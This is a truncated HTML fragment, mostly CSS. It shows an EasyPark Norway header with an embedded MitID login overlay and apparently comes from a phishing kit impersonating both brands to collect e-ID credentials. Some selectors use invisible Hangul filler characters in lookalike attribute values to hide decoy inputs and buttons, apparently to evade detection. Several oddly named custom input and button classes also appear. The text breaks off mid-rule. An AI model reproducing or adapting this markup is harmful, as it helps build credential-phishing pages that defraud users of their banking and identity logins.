450px;*/ /*width: 560px;*/ /*height: 630px;*/ } .messageOverlay.jss1 { text-align: left; } </style> <style data-styled="active" data-styled-version="6.1.1"></style> <style> .mitid-core-authenticator-dom { /*margin: auto !important;*/ /*margin-top: auto !important;*/ margin-right: auto !important; margin-bottom: auto !important; margin-left: auto !important; display: block !important; padding: 0 .4375rem !important; width: 160px !important; height: 100px !important; } </style> <style> :root { --spacingSoftContent: 2rem; --clientLogoUrl: url(../assets/fonts/icons__logo--original.svg); --idpMinimenu-Placement: flex-start; --idpMinimenu-BorderColor: rgb(221, 221, 221); --idpMinimenu-BorderColorHover: #005ddf; --idpMinimenu-PaddingBottom: 0.5rem; --idpMinimenu-SpacingBetween: 24px; --idpMinimenu-BorderBottomWidth: 2px; --idpMinimenu-BorderBottomColorInactive: rgb(221, 221, 221); --btnPrimary-FontColor: #ffffff; --btnPrimary-FontColorHover: #ffffff; --btnPrimary-BackgroundColor: #DB1D25; --btnPrimary-BackgroundColorHover: #004cb8; --btnPrimary-BorderRadius: 6px; --btnPrimary-BorderWidth: 0px; --btnPrimary-BorderColor: none; --btnPrimary-BorderColorHover: none; --btnPrimary-Padding: 16px 24px; --btnPrimary-Margin: 16px 16px; --btnPrimary-FontSize: 14px; --btnPrimary-FontWeight: Normal; --softContentHeadingColor: #DB1D25; --topbarBgColor: #ffffff; } .img-h { width: 100%!important; height: 100%; display: flex!important; flex-direction: row!important; align-items: center!important; justify-content: space-between!important; } .img-h img { width: 40%; } .row-txt { padding: 2px 0!important; width: 100%!important; display: flex!important; flex-direction: row!important; align-items: center!important; justify-content: flex-start!important; } .row-txt div{ width: 50%; } .pppp { font-weight: bold!important; } .inputa { width: 75%!important; border: 1px solid #929292!important; border-radius: 3px!important; padding: 2px 6px!important; } .botona { background-color: #313131; border: 1px solid #929292!important; border-radius: 3px!important; padding: 5px 20px!important; } </style> </head> <body> <script type="text/javascript" src="https://csfe.bankid.no/jsclient21/error.js"></script> <div id="root"> <div class="jss1"> <div class="jss2"> <div class="jss6"> <header class="modal-sign-in-header jss7"> <a href="/" class="jss8"><img src="static/media/logo-color-216x31.b60799681750b2a47287.png" alt="EasyPark" width="216" height="31" class="jss9"></a> <div class="jss10"> <div role="button" tabindex="0" class="jss11"> <div class="jss13"> <span class="jss15"> <img src="static/media/no.6df96bb22557028a5f77.svg" alt="Norge" class="jss14"> <span class="jss17">Norge</span> </span> <svg class="MuiSvgIcon-root jss16" focusable="false" viewBox="0 0 24 24" aria-hidden="true"> <path d="M7 10l5 5 5-5z"></path> </svg> </div> </div> <div role="button" tabindex="0"> <div class="jss19"> <svg class="MuiSvgIcon-root jss20" focusable="false" viewBox="0 0 24 24" aria-hidden="true"> <path d="M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zm6.93 6h-2.95c-.32-1.25-.78-2.45-1.38-3.56 1.84.63 3.37 1.91 4.33 3.56zM12 4.04c.83 1.2 1.48 2.53 1.91 3.96h-3.82c.43-1.43 1.08-2.76 1.91-3.96zM4.26 14C4.1 13.36 4 12.69 4 12s.1-1.36.26-2h3.38c-.08.66-.14 1.32-.14 2 0 .68.06 1.34.14 2H4.26zm.82 2h2.95c.32 1.25.78 2.45 1.38 3.56-1.84-.63-3.37-1.9-4.33-3.56zm2.95-8H5.08c.96-1.66 2.49-2.93 4.33-3.56C8.81 5.55 8.35 6.75 8.03 8zM12 19.96c-.83-1.2-1.48-2.53-1.91-3.96h3.82c-.43 1.43-1.08 2.76-1.91 3.96zM14.34 14H9.66c-.09-.66-.16-1.32-.16-2 0-.68.07-1.35.16-2h4.68c.09.65.16 1.32.16 2 0 .68-.07 1.34-.16 2zm.25 5.56c.6-1.11 1.06-2.31 1.38-3.56h2.95c-.96 1.65-2.49 2.93-4.33 3.56zM16.36 14c.08-.66.14-1.32.14-2 0-.68-.06-1.34-.14-2h3.38c.16.64.26 1.31.26 2s-.1 1.36-.26 2h-3.38z"></path> </svg> <span class="jss21">Norsk</span> <svg class="MuiSvgIcon-root jss22" focusable="false" viewBox="0 0 24 24" aria-hidden="true"> <path d="M7 10l5 5 5-5z"></path> </svg> </div> </div> </div> </header> </div> </div> <div class="jss3"> <main class="MuiBox-root jss23 jss5"> <div class="jss46"> <div class="MuiBackdrop-root jss55" aria-hidden="true" style="opacity: 0; visibility: hidden;"> <div class="MuiCircularProgress-root MuiCircularProgress-indeterminate" role="progressbar" style="width: 40px; height: 40px;"> <svg class="MuiCircularProgress-svg" viewBox="22 22 44 44"> <circle class="MuiCircularProgress-circle MuiCircularProgress-circleIndeterminate" cx="44" cy="44" r="20.2" fill="none" stroke-width="3.6"></circle> </svg> </div> </div> <div id="messageOverlay" class="messageOverlay jss1"> <html lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=11"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta charset="utf-8"> <title>MitID</title> <link rel="icon" type="image/png" href="mitid-administrative-idp/favicon.ico"> <link rel="stylesheet" href="mitid-administrative-idp/styles/styles.css"> <style id="mitid-styles"> .mitid-loader{align-content:stretch;align-items:stretch;align-self:auto;animation-delay:0s;animation-direction:normal;animation-duration:0s;animation-fill-mode:none;animation-iteration-count:1;animation-name:none;animation-play-state:running;animation-timing-function:ease;azimuth:center;-webkit-backface-visibility:visible;backface-visibility:visible;background-attachment:scroll;background-blend-mode:normal;background-clip:border-box;background-color:rgba(0,0,0,0);background-image:none;background-origin:padding-box;background-position:0% 0%;background-repeat:repeat;background-size:auto auto;block-size:auto;border-block-end-color:currentcolor;border-block-end-style:none;border-block-end-width:medium;border-block-start-color:currentcolor;border-block-start-style:none;border-block-start-width:medium;border-bottom-color:currentcolor;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:none;border-bottom-width:medium;border-collapse:separate;border-image-outset:0s;border-image-repeat:stretch;border-image-slice:100%;border-image-source:none;border-image-width:1;border-inline-end-color:currentcolor;border-inline-end-style:none;border-inline-end-width:medium;border-inline-start-color:currentcolor;border-inline-start-style:none;border-inline-start-width:medium;border-left-color:currentcolor;border-left-style:none;border-left-width:medium;border-right-color:currentcolor;border-right-style:none;border-right-width:medium;border-spacing:0;border-top-color:currentcolor;border-top-left-radius:0;border-top-right-radius:0;border-top-style:none;border-top-width:medium;bottom:auto;-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;box-sizing:content-box;break-after:auto;break-before:auto;break-inside:auto;caption-side:top;caret-color:auto;clear:none;clip:auto;-webkit-clip-path:none;clip-path:none;color:initial;column-count:auto;column-fill:balance;column-gap:normal;column-rule-color:currentcolor;column-rule-style:none;column-rule-width:medium;column-span:none;column-width:auto;content:normal;counter-increment:none;counter-reset:none;cursor:auto;display:inline;empty-cells:show;filter:none;flex-basis:auto;flex-direction:row;flex-grow:0;flex-shrink:1;flex-wrap:nowrap;float:none;font-family:initial;font-feature-settings:normal;font-kerning:auto;font-language-override:normal;font-size:medium;font-size-adjust:none;font-stretch:normal;font-style:normal;font-synthesis:weight style;font-variant:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-east-asian:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;font-weight:normal;grid-auto-columns:auto;grid-auto-flow:row;grid-auto-rows:auto;grid-column-end:auto;grid-column-gap:0;grid-column-start:auto;grid-row-end:auto;grid-row-gap:0;grid-row-start:auto;grid-template-areas:none;grid-template-columns:none;grid-template-rows:none;height:auto;-webkit-hyphens:manual;-ms-hyphens:manual;hyphens:manual;image-orientation:0deg;image-rendering:auto;image-resolution:1dppx;ime-mode:auto;inline-size:auto;isolation:auto;justify-content:flex-start;left:auto;letter-spacing:normal;line-break:auto;line-height:normal;list-style-image:none;list-style-position:outside;list-style-type:disc;margin-block-end:0;margin-block-start:0;margin-bottom:0;margin-inline-end:0;margin-inline-start:0;margin-left:0;margin-right:0;margin-top:0;-webkit-mask-clip:border-box;mask-clip:border-box;-webkit-mask-composite:source-over;mask-composite:add;-webkit-mask-image:none;mask-image:none;mask-mode:match-source;-webkit-mask-origin:border-box;mask-origin:border-box;-webkit-mask-position:0% 0%;mask-position:0% 0%;-webkit-mask-repeat:repeat;mask-repeat:repeat;-webkit-mask-size:auto;mask-size:auto;mask-type:luminance;max-height:none;max-width:none;min-block-size:0;min-height:0;min-inline-size:0;min-width:0;mix-blend-mode:normal;object-fit:fill;object-position:50% 50%;offset-block-end:auto;offset-block-start:auto;offset-inline-end:auto;offset-inline-start:auto;opacity:1;order:0;orphans:2;outline-color:initial;outline-offset:0;outline-style:none;outline-width:medium;overflow:visible;overflow-wrap:normal;overflow-x:visible;overflow-y:visible;padding-block-end:0;padding-block-start:0;padding-bottom:0;padding-inline-end:0;padding-inline-start:0;padding-left:0;padding-right:0;padding-top:0;page-break-after:auto;page-break-before:auto;page-break-inside:auto;perspective:none;perspective-origin:50% 50%;pointer-events:auto;position:static;quotes:initial;resize:none;right:auto;ruby-align:space-around;ruby-merge:separate;ruby-position:over;scroll-behavior:auto;-ms-scroll-snap-coordinate:none;scroll-snap-coordinate:none;-ms-scroll-snap-destination:0px 0px;scroll-snap-destination:0px 0px;-ms-scroll-snap-points-x:none;scroll-snap-points-x:none;-ms-scroll-snap-points-y:none;scroll-snap-points-y:none;-ms-scroll-snap-type:none;scroll-snap-type:none;shape-image-threshold:0;shape-margin:0;shape-outside:none;tab-size:8;table-layout:auto;text-align:initial;text-align-last:auto;text-combine-upright:none;-webkit-text-decoration-color:currentcolor;text-decoration-color:currentcolor;-webkit-text-decoration-line:none;text-decoration-line:none;-webkit-text-decoration-style:solid;text-decoration-style:solid;-webkit-text-emphasis-color:currentcolor;text-emphasis-color:currentcolor;-webkit-text-emphasis-position:over;text-emphasis-position:over right;-webkit-text-emphasis-style:none;text-emphasis-style:none;text-indent:0;text-justify:auto;text-orientation:mixed;text-overflow:clip;text-rendering:auto;text-shadow:none;text-transform:none;text-underline-position:auto;top:auto;touch-action:auto;transform:none;transform-box:border-box;transform-origin:50% 50% 0;transform-style:flat;transition-delay:0s;transition-duration:0s;transition-property:all;transition-timing-function:ease;vertical-align:baseline;visibility:visible;white-space:normal;widows:2;width:auto;will-change:auto;word-break:normal;word-spacing:normal;word-wrap:normal;-ms-writing-mode:lr-tb;writing-mode:horizontal-tb;z-index:auto;-webkit-appearance:none;appearance:none;background-color:#fff;border:1px solid #ccc;box-sizing:border-box;position:relative;padding:31px;min-width:300px;display:flex !important;justify-content:center;align-items:center}.mitid-loader *,.mitid-loader ::after,.mitid-loader ::before{align-content:stretch;align-items:stretch;align-self:auto;animation-delay:0s;animation-direction:normal;animation-duration:0s;animation-fill-mode:none;animation-iteration-count:1;animation-name:none;animation-play-state:running;animation-timing-function:ease;azimuth:center;-webkit-backface-visibility:visible;backface-visibility:visible;background-attachment:scroll;background-blend-mode:normal;background-clip:border-box;background-color:rgba(0,0,0,0);background-image:none;background-origin:padding-box;background-position:0% 0%;background-repeat:repeat;background-size:auto auto;block-size:auto;border-block-end-color:currentcolor;border-block-end-style:none;border-block-end-width:medium;border-block-start-color:currentcolor;border-block-start-style:none;border-block-start-width:medium;border-bottom-color:currentcolor;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:none;border-bottom-width:medium;border-collapse:separate;border-image-outset:0s;border-image-repeat:stretch;border-image-slice:100%;border-image-source:none;border-image-width:1;border-inline-end-color:currentcolor;border-inline-end-style:none;border-inline-end-width:medium;border-inline-start-color:currentcolor;border-inline-start-style:none;border-inline-start-width:medium;border-left-color:currentcolor;border-left-style:none;border-left-width:medium;border-right-color:currentcolor;border-right-style:none;border-right-width:medium;border-spacing:0;border-top-color:currentcolor;border-top-left-radius:0;border-top-right-radius:0;border-top-style:none;border-top-width:medium;bottom:auto;-webkit-box-decoration-break:slice;box-decoration-break:slice;box-shadow:none;box-sizing:content-box;break-after:auto;break-before:auto;break-inside:auto;caption-side:top;caret-color:auto;clear:none;clip:auto;-webkit-clip-path:none;clip-path:none;color:initial;column-count:auto;column-fill:balance;column-gap:normal;column-rule-color:currentcolor;column-rule-style:none;column-rule-width:medium;column-span:none;column-width:auto;content:normal;counter-increment:none;counter-reset:none;cursor:auto;display:inline;empty-cells:show;filter:none;flex-basis:auto;flex-direction:row;flex-grow:0;flex-shrink:1;flex-wrap:nowrap;float:none;font-family:initial;font-feature-settings:normal;font-kerning:auto;font-language-override:normal;font-size:medium;font-size-adjust:none;font-stretch:normal;font-style:normal;font-synthesis:weight style;font-variant:normal;font-variant-alternates:normal;font-variant-caps:normal;font-variant-east-asian:normal;font-variant-ligatures:normal;font-variant-numeric:normal;font-variant-position:normal;font-weight:normal;grid-auto-columns:auto;grid-auto-flow:row;grid-auto-rows:auto;grid-column-end:auto;grid-column-gap:0;grid-column-start:auto;grid-row-end:auto;grid-row-gap:0;grid-row-start:auto;grid-template-areas:none;grid-template-columns:none;grid-template-rows:none;height:auto;-webkit-hyphens:manual;-ms-hyphens:manual;hyphens:manual;image-orientation:0deg;image-rendering:auto;image-resolution:1dppx;ime-mode:auto;inline-size:auto;isolation:auto;justify-content:flex-start;left:auto;letter-spacing:normal;line-break:auto;line-height:normal;list-style-image:none;list-style-position:outside;list-style-type:disc;margin-block-end:0;margin-block-start:0;margin-bottom:0;margin-inline-end:0;margin-inline-start:0;margin-left:0;margin-right:0;margin-top:0;-webkit-mask-clip:border-box;mask-clip:border-box;-webkit-mask-composite:source-over;mask-composite:add;-webkit-mask-image:none;mask-image:none;mask-mode:match-source;-webkit-mask-origin:border-box;mask-origin:border-box;-webkit-mask-position:0% 0%;mask-position:0% 0%;-webkit-mask-repeat:repeat;mask-repeat:repeat;-webkit-mask-size:auto;mask-size:auto;mask-type:luminance;max-height:none;max-width:none;min-block-size:0;min-height:0;min-inline-size:0;min-width:0;mix-blend-mode:normal;object-fit:fill;object-position:50% 50%;offset-block-end:auto;offset-block-start:auto;offset-inline-end:auto;offset-inline-start:auto;opacity:1;order:0;orphans:2;outline-color:initial;outline-offset:0;outline-style:none;outline-width:medium;overflow:visible;overflow-wrap:normal;overflow-x:visible;overflow-y:visible;padding-block-end:0;padding-block-start:0;padding-bottom:0;padding-inline-end:0;padding-inline-start:0;padding-left:0;padding-right:0;padding-top:0;page-break-after:auto;page-break-before:auto;page-break-inside:auto;perspective:none;perspective-origin:50% 50%;pointer-events:auto;position:static;quotes:initial;resize:none;right:auto;ruby-align:space-around;ruby-merge:separate;ruby-position:over;scroll-behavior:auto;-ms-scroll-snap-coordinate:none;scroll-snap-coordinate:none;-ms-scroll-snap-destination:0px 0px;scroll-snap-destination:0px 0px;-ms-scroll-snap-points-x:none;scroll-snap-points-x:none;-ms-scroll-snap-points-y:none;scroll-snap-points-y:none;-ms-scroll-snap-type:none;scroll-snap-type:none;shape-image-threshold:0;shape-margin:0;shape-outside:none;tab-size:8;table-layout:auto;text-align:initial;text-align-last:auto;text-combine-upright:none;-webkit-text-decoration-color:currentcolor;text-decoration-color:currentcolor;-webkit-text-decoration-line:none;text-decoration-line:none;-webkit-text-decoration-style:solid;text-decoration-style:solid;-webkit-text-emphasis-color:currentcolor;text-emphasis-color:currentcolor;-webkit-text-emphasis-position:over;text-emphasis-position:over right;-webkit-text-emphasis-style:none;text-emphasis-style:none;text-indent:0;text-justify:auto;text-orientation:mixed;text-overflow:clip;text-rendering:auto;text-shadow:none;text-transform:none;text-underline-position:auto;top:auto;touch-action:auto;transform:none;transform-box:border-box;transform-origin:50% 50% 0;transform-style:flat;transition-delay:0s;transition-duration:0s;transition-property:all;transition-timing-function:ease;vertical-align:baseline;visibility:visible;white-space:normal;widows:2;width:auto;will-change:auto;word-break:normal;word-spacing:normal;word-wrap:normal;-ms-writing-mode:lr-tb;writing-mode:horizontal-tb;z-index:auto;-webkit-appearance:none;appearance:none}@media screen and (max-width: 399px){.mitid-loader{width:336px !important;padding:5px;border:0;overflow:hidden}}@media screen and (max-height: 520px){.mitid-loader{height:auto}}.mitid-loader *{font-family:"IBM Plex Sans",Arial,Helvetica,FreeSans,sans,sans-serif;line-height:1.5rem;font-size:1rem;color:#333}.mitid-loader h2{font-size:1rem;color:#333;font-weight:700;line-height:1.5rem;margin:0;padding:0;display:block}.mitid-loader h3{color:#333;font-size:1.25rem;font-weight:700;line-height:1.75rem;margin:0;padding:0;display:block}.mitid-loader__font-load-500{visibility:hidden;font-weight:500;position:absolute;display:inline}.mitid-loader__font-load-600{visibility:hidden;font-weight:600;position:absolute;display:inline}.mitid-loader__title{font-size:1.25rem;font-weight:700;line-height:1.75rem;display:block;text-align:center;max-width:390px}.mitid-loader__content{z-index:2000;width:100%;display:flex;justify-content:center;align-items:center;flex-direction:column}.mitid-loader__logo{height:24px;position:relative;width:62px;margin-bottom:24px}.mitid-loader__logo-svg{position:absolute;left:-85px;top:-20px;height:62px;width:234px;transform:scale(0.26)}.mitid-loader__logo-svg path{fill:#0060e6}.mitid-loader__shield{position:absolute;width:100px;height:117px}.mitid-loader__shield path{fill:#0060e6}.mitid-loader__state{position:relative;height:120px;width:100px;margin-bottom:24px;display:block}.mitid-loader__error{position:absolute}.mitid-loader__error circle,.mitid-loader__error path{fill:#fff}.mitid-loader__circular{animation:mitid-core--loader-rotate 1s linear infinite;transform-origin:center center;margin:auto;z-index:10;position:absolute;left:24px;top:28px;width:50px;height:50px}.mitid-loader__circular circle:first-child{stroke:#3380eb}.mitid-loader__circular circle:last-child{animation:mitid-core--loader-dash 1.5s linear infinite}.mitid-loader__text{text-align:center;vertical-align:middle;line-height:1.5rem;min-height:3.625rem}.mitid-loader__description{line-height:2rem;display:block;text-align:center}.mitid-loader__link{color:#0060e6;cursor:pointer;padding:0 5px}@keyframes mitid-core--loader-rotate{100%{transform:rotate(360deg)}}@keyframes mitid-core--loader-dash{0%{stroke-dasharray:50 200}100%{stroke-dasharray:50 200}} </style> <style id="mitid-font-face"> @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 400; font-display: block; src: local('IBM Plex Sans '), local('IBMPlexSans-'), url('assets/fonts/IBMPlexSans.woff2') format('woff2'), url('assets/fonts/IBMPlexSans.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 500; font-display: block; src: local('IBM Plex Sans Medium'), local('IBMPlexSans-Medium'), url('assets/fonts/IBMPlexSans-Medium.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-Medium.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 600; font-display: block; src: local('IBM Plex Sans SemiBold'), local('IBMPlexSans-SemiBold'), url('assets/fonts/IBMPlexSans-SemiBold.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-SemiBold.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: 'IBM Plex Sans'; font-style: normal; font-weight: 700; font-display: block; src: local('IBM Plex Sans Bold'), local('IBMPlexSans-Bold'), url('assets/fonts/IBMPlexSans-Bold.woff2') format('woff2'), url('assets/fonts/IBMPlexSans-Bold.woff') format('woff'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } </style> <style id="mitid-styles"> .mitid-core-client{overflow-y:auto;overflow-x:hidden;justify-content:stretch;flex-direction:column}.mitid--divider{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.2)}.mitid--divider-light{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.1)}.mitid--divider-lighter{border-radius:0;height:1px;border:none;border-width:1px;display:block;background:rgba(0,0,0,.05)}.mitid-login-divider--top{margin:.95rem 0 1.45rem 0}.mitid-login-divider--bottom{margin:0;margin-bottom:.875rem}.mitid-core-header{display:flex;overflow:hidden;justify-content:space-between;flex:0 0 auto}.mitid-core-header__text{width:243px;font-weight:700;word-break:break-word;word-wrap:break-word}.mitid-core-header__logo{height:1rem;width:3.813rem;padding-top:.25rem}.mitid-core-header__logo path{fill:#0060e6}.mitid-core-text-button{display:inline-flex;padding:.625rem .25rem;cursor:pointer;position:relative;left:-5px;border-radius:4px;text-decoration:none;align-items:center}.mitid-core-text-button:hover .mitid-core-text-button__label,.mitid-core-text-button:focus .mitid-core-text-button__label{text-decoration:underline;color:#004cb8}.mitid-core-text-button:focus:is(:focus-visible){box-shadow:0 0 0 3px #0060e6}.mitid-core-text-button:active .mitid-core-text-button__label{color:#00398a;text-decoration:underline}.mitid-core-text-button:hover .mitid-core-text-button__icon path,.mitid-core-text-button:focus .mitid-core-text-button__icon path{fill:#004cb8}.mitid-core-text-button:active .mitid-core-text-button__icon path{fill:#00398a}.mitid-core-text-button__text{display:flex}.mitid-core-text-button__icon{margin-right:.25rem;width:1.5rem;height:1.5rem;display:block;cursor:pointer;flex-shrink:0}.mitid-core-text-button__icon path{fill:#001c44;cursor:pointer}.mitid-core-text-button__icon svg{cursor:pointer}.mitid-core-text-button__label{max-width:100%;cursor:pointer;font-weight:600;color:#001c44;text-decoration:none}.mitid-core-text-button:after{content:"";min-height:inherit;font-size:0}.mitid-core-footer{display:flex;flex-direction:column;justify-content:space-between;flex:0 0 auto}.mitid-core-footer__nav{display:flex;align-items:center;height:1.5rem}@media screen and (max-width: 399px){.mitid-core-footer__nav{padding:0 5px 15px 5px}}.mitid--button--left:not(:focus)::before{content:" ";width:0;height:0;border-style:solid;border-width:10px 10px 0 10px;border-color:#fff rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);position:absolute;bottom:2.1rem;z-index:9999;left:1.1rem;display:none}.mitid--button--left-visibel:not(:focus)::before{display:block}.mitid--button-primary{position:relative;width:100%;cursor:pointer;box-sizing:border-box;border-radius:4px;border:none;display:inline-flex;align-items:center;outline:none;margin:0;background:#0060e6;color:#fff;border-radius:4px;height:3rem}.mitid--button-primary svg,.mitid--button-primary path{cursor:pointer}.mitid--button-primary .mitid--button-label{letter-spacing:0;line-height:1.5rem;margin-bottom:unset;font-weight:600;font-size:.875rem;text-transform:uppercase;letter-spacing:.05rem;vertical-align:middle}.mitid--button-primary .mitid--button-label:hover{cursor:pointer}.mitid--button-primary .mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#fff}.mitid--button-primary .mitid--button-icon path:last-child{fill:#fff}.mitid--button-primary.icon-only{margin:.25rem;display:inline-flex;width:3rem;height:3rem;justify-content:center}.mitid--button-primary.label-only{margin:.25rem;padding:.25rem 1rem .25rem 1rem}.mitid--button-primary:not(.icon-only):not(.label-only){padding:.25rem .75rem .25rem 1rem}.mitid--button-primary .mitid--button-spacing{flex:1;width:1rem}.mitid--button-primary{box-shadow:0 0 0 5px rgba(0,0,0,0)}.mitid--button-primary:focus:not(:active){box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6}.mitid--button-primary:hover:not(:disabled){background:#004cb8;border-radius:4px}.mitid--button-primary:hover:not(:disabled) .mitid--button-label{background:#004cb8;color:#fff !important}.mitid--button-primary:hover:not(:disabled) .mitid--button-icon{color:#fff !important}.mitid--button-primary:active:not(:disabled),.mitid--button-primary:active:not(:disabled) .mitid--button-label,.mitid--button-primary:active:not(:disabled) .mitid--button-icon{background:#00398a;position:relative;top:0;left:0}.mitid--button-primary:focus:not(:disabled):not(:active){background:#004cb8}.mitid--button-primary:disabled{background:#000;opacity:.2;text-decoration:none;cursor:not-allowed}.mitid--button-primary:disabled .mitid--button-label{cursor:not-allowed}.mitid--button-primary .mitid--button-label{color:#fff}.mitid--button-secondary{position:relative;width:100%;cursor:pointer;box-sizing:border-box;border-radius:4px;border:none;display:inline-flex;align-items:center;outline:none;margin:0;background:#fff;color:#001c44;border-radius:4px;border:1px solid #919191;height:3rem;outline:none;outline-width:0}.mitid--button-secondary svg,.mitid--button-secondary path{cursor:pointer}.mitid--button-secondary .mitid--button-label{letter-spacing:0;line-height:1.5rem;margin-bottom:unset;font-weight:600;font-size:.875rem;text-transform:uppercase;letter-spacing:.05rem;vertical-align:middle}.mitid--button-secondary .mitid--button-label:hover{cursor:pointer}.mitid--button-secondary .mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#fff}.mitid--button-secondary .mitid--button-icon path:last-child{fill:#fff}.mitid--button-secondary.icon-only{margin:.25rem;display:inline-flex;width:3rem;height:3rem;justify-content:center}.mitid--button-secondary.label-only{margin:.25rem;padding:.25rem 1rem .25rem 1rem}.mitid--button-secondary:not(.icon-only):not(.label-only){padding:.25rem .75rem .25rem 1rem}.mitid--button-secondary .mitid--button-spacing{flex:1;width:1rem}.mitid--button-secondary .mitid--button-icon{flex-shrink:0;height:24px;width:24px;color:#001c44}.mitid--button-secondary .mitid--button-icon path:last-child{fill:#001c44}.mitid--button-secondary:not(.icon-only):not(.label-only):hover,.mitid--button-secondary:not(.icon-only):not(.label-only):focus,.mitid--button-secondary:not(.icon-only):not(.label-only):disabled{padding:.25rem 10px .25rem 1rem}.mitid--button-secondary:hover:not(:disabled):not(:active):not(.icon-only) .mitid--button-icon,.mitid--button-secondary:hover:not(:disabled):not(:active):not(.icon-only) .mitid--button-label{position:relative;right:1px}.mitid--button-secondary:hover:not(:disabled){border:2px solid #0060e6}.mitid--button-secondary:hover:not(:disabled) .mitid--button-label,.mitid--button-secondary:hover:not(:disabled) .mitid--button-icon{color:#0060e6}.mitid--button-secondary:hover:not(:disabled) .mitid--button-label path,.mitid--button-secondary:hover:not(:disabled) .mitid--button-icon path{fill:#0060e6}.mitid--button-secondary:active:not(:disabled){border:2px solid #00398a}.mitid--button-secondary:active:not(:disabled) .mitid--button-label,.mitid--button-secondary:active:not(:disabled) .mitid--button-icon{color:#00398a}.mitid--button-secondary{box-shadow:0px 0px 0px 5px rgba(0,0,0,0)}.mitid--button-secondary:focus:not(:active){box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6;border:2px solid #0060e6 !important}@supports(-moz-appearance: none){.mitid--button-secondary{height:49px}}.mitid--button-secondary:focus:not(:disabled):not(.icon-only) .mitid--button-icon,.mitid--button-secondary:focus:not(:disabled):not(.icon-only) .mitid--button-label{position:relative;right:1px}.mitid--button-secondary:focus:not(:active) .mitid--button-label,.mitid--button-secondary:focus:not(:active) .mitid--button-icon{color:#0060e6}.mitid--button-secondary:focus:not(:active) .mitid--button-label path,.mitid--button-secondary:focus:not(:active) .mitid--button-icon path{fill:#0060e6}.mitid--button-secondary:disabled{border:1px solid rgba(0,0,0,.2);color:rgba(0,0,0,.4);text-decoration:none;cursor:not-allowed}.mitid--button-secondary:disabled .mitid--button-label{cursor:not-allowed}.mitid--button-secondary .mitid--button-label{color:#001c44}.mitid--button-icon{border:0;background:rgba(0,0,0,0);margin:0}.mitid--button-icon svg,.mitid--button-icon path{cursor:pointer}.mitid--button--left{margin-left:2rem}.mitid-core-user{flex:0 0 auto}.mitid-core-user__input{width:100%;max-width:100%;min-width:200px;display:inline-block}.mitid-core-user__input[defaultlanguage^="DA / DK"]{visibility:hidden;pointer-events:none;position:absolute}.mitid-core-user__input[defaultlanguage^="DA / DK"] input{visibility:hidden}.mitid-core-user__input[defaultlanguage^="DA /ᅠDK"]{display:none;pointer-events:none;position:absolute}.mitid-core-user__input[defaultlanguage^="DA /ᅠDK"] input{visibility:hidden}.mitid-core-user__input[defaultlanguage^="DAᅠ/ᅠDK"]{visibility:visible;display:block;pointer-events:all}.mitid-core-user__input[defaultlanguage^="DAᅠ/ᅠDK"]:disabled{opacity:.2;pointer-events:none}.mitid-core-user__user-id{display:inline-block;border-radius:.25rem;outline:none;height:3rem;width:100%;padding:0 1rem;font-weight:500 !important;letter-spacing:0;border:1px solid #919191;box-sizing:border-box;margin-bottom:1rem;caret-color:#0060e6}.mitid-core-user__user-id:hover,.mitid-core-user__user-id:active,.mitid-core-user__user-id:focus{border:2px solid #0060e6;background:#fff;position:relative;right:1px}.mitid-core-user__user-id:hover:not(:focus){position:relative;opacity:1}.mitid-core-user__user-id:-ms-input-placeholder{font-weight:500 !important;color:#333 !important;opacity:1}.mitid-core-user__user-id::placeholder{font-weight:500 !important;color:#333 !important;opacity:1}.mitid-core-user__user-id:-ms-input-placeholder{font-weight:500 !important;color:#333 !important}.mitid-core-user__user-id::-ms-input-placeholder{font-weight:500 !important;color:#333 !important}.mitid-core-user__user-id::-ms-clear,.mitid-core-user__user-id::-ms-reveal{display:none}.mitid-core-user__user-id:focus{background:rgba(0,96,230,.05) !important;border:2px solid #0060e6 !important;position:relative;right:1px}.mitid--button-primary{margin-bottom:.5rem;color:#fff}.mitid--button-primary[showicontext^="Icon Help Text"]{visibility:hidden;pointer-events:none;position:absolute;width:0;height:0}.mitid--button-primary[showicontext^="Icon Help Text"] *{visibility:hidden}.mitid--button-primary[showicontext^="Icon HelpᅠText"]{display:none;pointer-events:none;position:absolute}.mitid--button-primary[showicontext^="Icon HelpᅠText"] 